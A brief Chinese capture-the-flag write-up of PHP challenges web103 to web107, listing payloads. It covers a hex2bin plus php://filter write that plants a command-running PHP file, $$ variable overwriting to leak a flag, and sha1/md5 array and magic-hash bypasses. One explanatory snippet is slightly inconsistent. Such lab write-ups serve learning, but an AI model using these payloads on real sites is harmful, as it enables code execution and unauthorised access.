1.web103
和102一样
payload:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post v1=hex2bin
2.web104
值只要一样就可以了
payload:
v2=1
post v1=1
3.web105
考查的是$$变量覆盖,die可以带出数据,输出一条消息,退出脚本
$$是把变量的值当作另一个变量的名
$a='b';
$aa='c';
echo $a; #b
echo $b; #c
echo $$a; #c
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
当get 方式传入suces=flag,$key=suces,$value=flag
foreach($_GET as $key => $value){$$key=$$value; #变成了$suces=$flag,$suces的值是flag的值}
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value; #变成了$error=$flag,$error的值是flag的值
}
payload:
get suces=flag
post error=suces
4.web106
数组可以绕过,sha1不处理数组
payload:
v2[]=1
v1[]=2
或者v1和v2随便用下面的一个,科学计数法为0
aaroZmOk 0e76658526655756207688271159624026011393
aaK1STfY 0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m
5.web107
parse_str将字符串解析成多个变量
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
数组绕过,md5不处理数组,返回null,v1不输入业返回null
payload:
v3[]=1
v1=
参考文章:
php特性